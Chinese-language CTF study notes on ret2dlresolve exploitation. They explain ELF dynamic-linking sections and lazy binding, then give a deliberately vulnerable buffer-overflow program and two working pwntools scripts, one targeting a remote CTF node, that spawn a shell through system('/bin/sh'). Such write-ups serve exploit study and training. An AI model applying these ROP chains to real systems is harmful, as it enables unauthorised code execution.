ret2dlresolve简单小记

ret2dlresolver学习笔记

利用思路介绍

主要利用到了_dl_runtime_resolve函数的缺陷,本文只讨论x86下的利用方式,本文尽量用自己的思路简述一下自己理解的内容,可能有所疏漏。

ELF中的关键段

1
readelf -a xxx

image-20211107004934295

  1. .dynsym节,动态符号链接表,每一个表项都代表了一个结构体Elf32_Sym/Elf64_Sym,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    typedef struct {
    Elf32_Word st_name; /* 符号名,符号在字符串表中的偏移 */
    Elf32_Addr st_value; /* 符号的值,可能是地址或偏移(被导出后)*/
    Elf32_Word st_size; /* 符号的大小 */
    unsigned char st_info; /* 符号类型及绑定属性 */
    unsigned char st_other; /* 符号的可见性 */
    Elf32_Section st_shndx; /* 节头表索引 */
    } Elf32_Sym;

    typedef struct {
    Elf64_Word st_name; /* 符号名,符号在字符串表中的偏移 */
    unsigned char st_info; /* 符号类型及绑定属性 */
    unsigned char st_other; /* 符号的可见性 */
    Elf64_Section st_shndx; /* 节头表索引 */
    Elf64_Addr st_value; /* 符号的值,可能是地址或偏移 */
    Elf64_Xword st_size; /* 符号的大小 */
    } Elf64_Sym;

  1. .dynstr节,动态链接字符串表,.dynsym节提供字符串表的偏移,用于获取对应函数的名称。

  2. .rel.dyn.rel.plt节,都属于重定位表,其中.rel.plt的结构为

    1
    2
    3
    4
    5
    typedef struct
    {
    Elf32_Addr r_offset; /* Address */
    Elf32_Word r_info; /* */
    } Elf32_Rel

    每一个表项都代表一个函数,r_offset代表了函数的地址,而r_info代表了一些相关信息,包括被导入的数量和在动态符号表中的偏移。

  3. .dynamic节,保存了动态链接器所需要基本信息,其中包括字符表的地址,在该节可写的情况下,可以通过修改字符表地址的方式来伪造动态字符表。

  4. .bss节,编译器未初始化数据的地方。一般在利用中作为写入数据的区域。

延迟绑定

延迟绑定指的是,程序在运行前不会先加载库函数的真实地址,而是在对应plt表中放置一个寻址函数,使用寻址函数拿到库函数的地址。通过寻址函数调用__dl_runtime_resolve来获取真实库函数的地址,并写回到.got.plt节,对应的位置。

__dl_runtime_resolve工作原理

实际上__dl_runtime_resolve函数实现对目标库函数的寻址是通过__dl_fixup函数来实现的。

  • 获取到动态符号表,动态字符表,重定位表。
  • 通过重定位表的地址和reloc_offset获取到对应函数的重定位表项Elf32/64_Rel的指针。
  • 结合重定位表项,分别获取动态符号表,和动态字符表。
  • 结合以上信息查找对应函数的地址,执行函数,并将地址写回到.got.plt节对应的位置。

利用方式

  1. Partial RELRO

    .dynamic节的内容,修改.dynstr的地址,在解析时,将目标函数解析为危险函数,然后强制调用目标函数触发_dl_runtime_resolve,触发危险函数。

  2. No RELRO

    .dynstr无法写时,通过溢出一个较大的reloc_offset,让函数到bss上寻找伪造的重定位表项指针,然后完成利用。

exp

  1. No RELRO

    例子的源码,编译命令

    1
    gcc test.c -o xxx  -fno-stack-protector -m32 -z norelro -no-piex

    源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>

    void vuln()
    {
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
    }
    int main()
    {
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
    }

    image-20211105235002444

    开了NX,所以不能在栈上执行shellcode,但是可以写.dynstr,没开PIE也没开canary保护,直接用静态地址就可以了。其实也可以用ret2libc的思路来做,但是这里选择使用ret2dlresolve来做,具体思路就是连续四次pop,分别是修改动态字符表的地址,伪造动态字符表的内容,写入函数参数,以及访问重定位函数强制触发解析流程触发后门函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    from pwn import *

    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = "debug"

    p = process("./bof_no_relro_32")
    elf=ELF("./bof_no_relro_32")


    def debug(r):
    gdb.attach(r, 'b main')
    pause()

    offset = 112
    dynstr = elf.get_section_by_name('.dynstr').data()
    #获取DT_STRTAB字符串表
    dynstr = dynstr.replace(b"read",b"system")
    #将DT_STRTAB中的read改为system
    read_plt=elf.plt["read"]
    main_plt=0x08049240
    ret_addr = 0x0804900e
    bss_base = elf.bss()

    DT_STRTAB_ADDR = elf.get_section_by_name('.dynamic').header.sh_addr+(17*4)
    print(hex(DT_STRTAB_ADDR))
    #触发read的重定向
    #对read下断点,read@plt的跳转地址就是该地址
    relro_read = 0x8049050

    payload=b'a'*offset #填充
    #第一次读取,将DYNAMIC中记录的DT_STRTAB地址替换道bss段
    payload += p32(read_plt)+p32(main_plt)+p32(0)+p32(DT_STRTAB_ADDR)+p32(4)
    # change to bss
    #第二次读取:将bss段的内容替换为DT_STRTAB原本的字符串表
    payload1= b'a'*offset+p32(read_plt)+p32(main_plt)+p32(0)+p32(bss_base) + \
    p32(len(dynstr))
    # fake str table
    # 第三次读取:向bss+0x300处读入“/bin/sh”
    payload2= b'a'*offset+p32(read_plt)+p32(main_plt) + \
    p32(0)+p32(bss_base+0x300)+p32(len("/bin/sh\x00"))
    #返回地址:强制重定向read函数,read函数调用system
    payload3 = b'a'*offset+p32(relro_read)+b"aaaa"+p32(bss_base+0x300)
    #填充

    debug(p)
    p.sendlineafter("~!\n",payload)
    p.send(p32(bss_base))
    p.sendlineafter("~!\n", payload1)
    pause()
    p.send(dynstr)
    p.sendlineafter("~!\n", payload2)
    pause()
    p.send(b"/bin/sh\x00")
    p.sendlineafter("~!\n", payload3)

    p.interactive()
  1. Partial RELRO

    开启部分RELRO保护

    1
    gcc test.c -o xxx  -fno-stack-protector -m32 -no-piex

    image-20211105235042842

    和上面的例子不一样的是这里没法写.dynstr,所以利用思路是伪造reloc_offset,在bss上找到伪造的重定向指针,后续基本上和前面的原理一致。这里直接使用pwntools提供的自动化脚本。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from pwn import *

    is_not_remote=False

    if __name__=='__main__':
    context.binary = elf = ELF("./bof")
    rop = ROP(context.binary)
    dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
    rop.read(0,dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)
    raw_rop = rop.chain()
    if is_not_remote:
    io = process("./bof")
    else:
    io = remote("node4.buuoj.cn",26056)
    io.recvuntil("Welcome to XDCTF2015~!\n")
    payload = flat({112:raw_rop,256:dlresolve.payload})
    io.sendline(payload)
    io.interactive()

总结

实际上是利用了linux的延迟绑定机制,主要就是搞明白几个点。首先,延迟绑定机制是如何作用的,其次是elf几个节的内容都是做什么的,最后是__dl_runtime_resolve函数的解析机理和缺陷。搞明白后exp就出的顺理成章了。